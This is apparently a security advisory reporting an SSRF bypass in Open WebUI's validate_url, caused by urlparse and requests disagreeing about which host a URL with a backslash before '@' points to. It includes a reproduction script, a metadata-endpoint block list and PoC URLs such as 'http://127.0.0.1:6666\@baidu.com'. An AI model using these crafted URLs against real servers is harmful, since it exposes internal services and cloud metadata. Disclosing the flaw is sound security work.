Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`

Summary

In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details

In the current project, URL validation is performed using the function validate_url.

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code.

from __future__ import annotations

import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests

log = logging.getLogger(__name__)

# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
    "Oops! The URL you provided is invalid. Please double-check and try again."
)

# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
    os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)

_DEFAULT_WEB_FETCH_FILTER_LIST = [
    "!169.254.169.254",
    "!fd00:ec2::254",
    "!metadata.google.internal",
    "!metadata.azure.com",
    "!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
    _web_fetch_filter_env_list: list[str] = []
else:
    _web_fetch_filter_env_list = [
        item.strip()
        for item in _web_fetch_filter_env.split(",")
        if item.strip()
    ]
WEB_FETCH_FILTER_LIST = list(
    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)


def get_allow_block_lists(filter_list):
    allow_list = []
    block_list = []

    if filter_list:
        for d in filter_list:
            if d.startswith("!"):
                block_list.append(d[1:].strip())
            else:
                allow_list.append(d.strip())

    return allow_list, block_list


def is_string_allowed(
    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
    if not filter_list:
        return True

    allow_list, block_list = get_allow_block_lists(filter_list)
    strings = [string] if isinstance(string, str) else list(string)

    if allow_list:
        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
            return False

    if any(s.endswith(blocked) for s in strings for blocked in block_list):
        return False

    return True


def resolve_hostname(hostname):
    # Get address information
    addr_info = socket.getaddrinfo(hostname, None)

    # Extract IP addresses from address information
    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]

    return ipv4_addresses, ipv6_addresses


def _validators_url_accept(url: str) -> bool:
    """
    Stand-in for python-validators url(): True if string looks like http(s) URL with host.
    """
    try:
        u = url.strip()
        if not u:
            return False
        p = urllib.parse.urlparse(u)
        if p.scheme not in ("http", "https"):
            return False
        if not p.netloc:
            return False
        return True
    except Exception:
        return False


def _ipv4_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 4 and a.is_private
    except ValueError:
        return False


def _ipv6_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 6 and a.is_private
    except ValueError:
        return False


def validate_url(url: Union[str, Sequence[str]]):
    if isinstance(url, str):
        if not _validators_url_accept(url):
            raise ValueError(INVALID_URL)

        parsed_url = urllib.parse.urlparse(url)

        # Protocol validation - only allow http/https
        if parsed_url.scheme not in ["http", "https"]:
            log.warning(
                f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
            )
            raise ValueError(INVALID_URL)

        # Blocklist check using unified filtering logic
        if WEB_FETCH_FILTER_LIST:
            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
                log.warning(f"URL blocked by filter list: {url}")
                raise ValueError(INVALID_URL)

        if not ENABLE_RAG_LOCAL_WEB_FETCH:
            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
            parsed_url = urllib.parse.urlparse(url)
            # Get IPv4 and IPv6 addresses
            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
            # Check if any of the resolved addresses are private
            # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
            for ip in ipv4_addresses:
                if _ipv4_private(ip):
                    raise ValueError(INVALID_URL)
            for ip in ipv6_addresses:
                if _ipv6_private(ip):
                    raise ValueError(INVALID_URL)
        return True
    elif isinstance(url, Sequence):
        return all(validate_url(u) for u in url)
    else:
        return False

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    # url = "https://127.0.0.1:6666\@1.1.1.1"
    url = "https://127.0.0.1:6666"
    validate_url(url)
    response = requests.get(url)
    print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

PoC

http://127.0.0.1:6666\@baidu.com

Impact

SSRF